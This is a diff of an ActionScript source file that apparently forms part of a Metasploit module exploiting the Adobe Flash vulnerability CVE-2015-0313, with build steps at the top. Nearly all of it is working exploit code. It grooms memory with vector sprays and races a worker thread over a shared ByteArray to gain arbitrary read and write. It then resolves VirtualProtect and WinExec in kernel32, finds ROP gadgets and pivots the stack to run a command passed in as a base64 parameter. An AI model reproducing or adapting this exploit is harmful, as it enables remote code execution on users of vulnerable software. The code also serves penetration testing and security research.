1
+ // Build how to:
2
+ // 1. Download the AIRSDK, and use its compiler.
3
+ // 2. Be support to support 16.0 as target-player (flex-config.xml).
4
+ // 3. Download the Flex SDK (4.6)
5
+ // 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
6
+ // (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
7
+ // 5. Build with: mxmlc -o msf.swf Main.as
8
+
9
+ // Original code by @hdarwin89 // http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/
10
+ // Modified to be used from msf
11
+ package
12
+ {
13
+ import flash.display.Sprite
14
+ import flash.display.LoaderInfo
15
+ import flash.events.Event
16
+ import flash.utils.ByteArray
17
+ import flash.system.Worker
18
+ import flash.system.WorkerDomain
19
+ import flash.system.MessageChannel
20
+ import flash.system.ApplicationDomain
21
+ import avm2.intrinsics.memory.casi32
22
+ import mx.utils.Base64Decoder
23
+
24
+ public class Main extends Sprite
25
+ {
26
+ private var ov: Vector .< Object > = new Vector .< Object > (25600 )
27
+ private var uv: Vector .< uint > = new Vector .< uint >
28
+ private var ba: ByteArray = new ByteArray ()
29
+ private var worker: Worker
30
+ private var mc: MessageChannel
31
+ private var b64: Base64Decoder = new Base64Decoder ()
32
+ private var payload: String = ""
33
+
34
+ public function Main ()
35
+ {
36
+ if (Worker. current . isPrimordial) mainThread()
37
+ else workerThread()
38
+ }
39
+
40
+ private function mainThread ():void
41
+ {
42
+ b64. decode (LoaderInfo (this . root . loaderInfo ). parameters . sh)
43
+ payload = b64. toByteArray (). toString ()
44
+
45
+ ba. length = 0x1000
46
+ ba. shareable = true
47
+ for (var i: uint = 0 ; i < ov. length ; i++ ) {
48
+ ov[ i] = new Vector .< Object > (1014 )
49
+ ov[ i][ 0 ] = ba
50
+ ov[ i][ 1 ] = this
51
+ }
52
+ for (i = 0 ; i < ov. length ; i += 2 ) delete (ov[ i] )
53
+ worker = WorkerDomain. current . createWorker(this . loaderInfo . bytes )
54
+ mc = worker. createMessageChannel(Worker. current )
55
+ mc. addEventListener (Event . CHANNEL_MESSAGE , onMessage)
56
+ worker. setSharedProperty("mc" , mc)
57
+ worker. setSharedProperty("ba" , ba)
58
+ ApplicationDomain . currentDomain . domainMemory = ba
59
+ worker. start ()
60
+ }
61
+
62
+ private function workerThread ():void
63
+ {
64
+ var ba: ByteArray = Worker. current . getSharedProperty("ba" )
65
+ var mc: MessageChannel = Worker. current . getSharedProperty("mc" )
66
+ ba. clear ()
67
+ ov[ 0 ] = new Vector .< uint > (1022 )
68
+ mc. send ("" )
69
+ while (mc. messageAvailable);
70
+ ov[ 0 ][ 0 ] = ov[ 0 ][ 0x403 ] - 0x18 - 0x1000
71
+ ba. length = 0x500000
72
+ var buffer: uint = vector_read(vector_read(ov[ 0 ][ 0x408 ] - 1 + 0x40 ) + 8 ) + 0x100000
73
+ var main: uint = ov[ 0 ][ 0x409 ] - 1
74
+ var vtable: uint = vector_read(main)
75
+ vector_write(vector_read(ov[ 0 ][ 0x408 ] - 1 + 0x40 ) + 8 )
76
+ vector_write(vector_read(ov[ 0 ][ 0x408 ] - 1 + 0x40 ) + 16 , 0xffffffff )
77
+ mc. send (ov[ 0 ][ 0 ] . toString () + "/" + buffer. toString () + "/" + main. toString () + "/" + vtable. toString ())
78
+ }
79
+
80
+ private function onMessage (e :Event ):void
81
+ {
82
+ casi32(0 , 1022 , 0xFFFFFFFF )
83
+ if (ba. length != 0xffffffff ) mc. receive ()
84
+ else {
85
+ ba. endian = "littleEndian"
86
+ var data : Array = (mc. receive () as String ). split ("/" )
87
+ byte_write(parseInt (data [ 0 ] ))
88
+ var buffer: uint = parseInt (data [ 1 ] ) as uint
89
+ var main: uint = parseInt (data [ 2 ] ) as uint
90
+ var vtable: uint = parseInt (data [ 3 ] ) as uint
91
+ var flash: uint = base (vtable)
92
+ var ieshims: uint = module ("winmm.dll" , flash)
93
+ var kernel32: uint = module ("kernel32.dll" , ieshims)
94
+
95
+ var virtualprotect: uint = procedure("VirtualProtect" , kernel32)
96
+ var winexec: uint = procedure("WinExec" , kernel32)
97
+ var xchgeaxespret: uint = gadget("c394" , 0x0000ffff , flash)
98
+ var xchgeaxesiret: uint = gadget("c396" , 0x0000ffff , flash)
99
+
100
+ //CoE
101
+ byte_write(buffer + 0x30000 , "\x b8" , false ); byte_write(0 , vtable, false ) // mov eax, vtable
102
+ byte_write(0 , "\x bb" , false ); byte_write(0 , main, false ) // mov ebx, main
103
+ byte_write(0 , "\x 89\x 03" , false ) // mov [ebx], eax
104
+ byte_write(0 , "\x 87\x f4\x c3" , false ) // xchg esp, esi # ret
105
+
106
+ byte_write(buffer+ 0x200 , payload);
107
+ byte_write(buffer + 0x20070 , xchgeaxespret)
108
+ byte_write(buffer + 0x20000 , xchgeaxesiret)
109
+ byte_write(0 , virtualprotect)
110
+
111
+ // VirtualProtect
112
+ byte_write(0 , winexec)
113
+ byte_write(0 , buffer + 0x30000 )
114
+ byte_write(0 , 0x1000 )
115
+ byte_write(0 , 0x40 )
116
+ byte_write(0 , buffer + 0x100 )
117
+
118
+ // WinExec
119
+ byte_write(0 , buffer + 0x30000 )
120
+ byte_write(0 , buffer + 0x200 )
121
+ byte_write(0 )
122
+
123
+ byte_write(main, buffer + 0x20000 )
124
+ toString ()
125
+ }
126
+ }
127
+
128
+ private function vector_write (addr :uint , value :uint = 0 ):void
129
+ {
130
+ addr > ov[ 0 ][ 0 ] ? ov[ 0 ][ (addr - uv[ 0 ] ) / 4 - 2 ] = value : ov[ 0 ][ 0xffffffff - (ov[ 0 ][ 0 ] - addr) / 4 - 1 ] = value
131
+ }
132
+
133
+ private function vector_read (addr :uint ):uint
134
+ {
135
+ return addr > ov[ 0 ][ 0 ] ? ov[ 0 ][ (addr - ov[ 0 ][ 0 ] ) / 4 - 2 ] : ov[ 0 ][ 0xffffffff - (ov[ 0 ][ 0 ] - addr) / 4 - 1 ]
136
+ }
137
+
138
+ private function byte_write (addr :uint , value :* = 0 , zero :Boolean = true ):void
139
+ {
140
+ if (addr) ba. position = addr
141
+ if (value is String ) {
142
+ for (var i: uint ; i < value . length ; i++ ) ba. writeByte (value . charCodeAt (i))
143
+ if (zero) ba. writeByte (0 )
144
+ } else ba. writeUnsignedInt (value )
145
+ }
146
+
147
+ private function byte_read (addr :uint , type :String = "dword" ):uint
148
+ {
149
+ ba. position = addr
150
+ switch (type ) {
151
+ case "dword" :
152
+ return ba. readUnsignedInt ()
153
+ case "word" :
154
+ return ba. readUnsignedShort ()
155
+ case "byte" :
156
+ return ba. readUnsignedByte ()
157
+ }
158
+ return 0
159
+ }
160
+
161
+ private function base (addr :uint ):uint
162
+ {
163
+ addr &= 0xffff0000
164
+ while (true ) {
165
+ if (byte_read(addr) == 0x00905a4d ) return addr
166
+ addr -= 0x10000
167
+ }
168
+ return 0
169
+ }
170
+
171
+ private function module (name :String , addr :uint ):uint
172
+ {
173
+ var iat: uint = addr + byte_read(addr + byte_read(addr + 0x3c ) + 0x80 ), i: int = - 1
174
+ while (true ) {
175
+ var entry: uint = byte_read(iat + (++ i) * 0x14 + 12 )
176
+ if (! entry) throw new Error ("FAIL!" );
177
+ ba. position = addr + entry
178
+ if (ba. readUTFBytes (name . length ). toUpperCase () == name . toUpperCase ()) break
179
+ }
180
+ return base (byte_read(addr + byte_read(iat + i * 0x14 + 16 )))
181
+ }
182
+
183
+ private function procedure (name :String , addr :uint ):uint
184
+ {
185
+ var eat: uint = addr + byte_read(addr + byte_read(addr + 0x3c ) + 0x78 )
186
+ var numberOfNames: uint = byte_read(eat + 0x18 )
187
+ var addressOfFunctions: uint = addr + byte_read(eat + 0x1c )
188
+ var addressOfNames: uint = addr + byte_read(eat + 0x20 )
189
+ var addressOfNameOrdinals: uint = addr + byte_read(eat + 0x24 )
190
+ for (var i: uint = 0 ; ; i++ ) {
191
+ var entry: uint = byte_read(addressOfNames + i * 4 )
192
+ ba. position = addr + entry
193
+ if (ba. readUTFBytes (name . length + 2 ). toUpperCase () == name . toUpperCase ()) break
194
+ }
195
+ return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2 , "word" ) * 4 )
196
+ }
197
+
198
+ private function gadget (gadget :String , hint :uint , addr :uint ):uint
199
+ {
200
+ var find: uint = 0
201
+ var limit: uint = byte_read(addr + byte_read(addr + 0x3c ) + 0x50 )
202
+ var value : uint = parseInt (gadget, 16 )
203
+ for (var i: uint = 0 ; i < limit - 4 ; i++ ) if (value == (byte_read(addr + i) & hint)) break
204
+ return addr + i
205
+ }
206
+ }
207
+ }
0 commit comments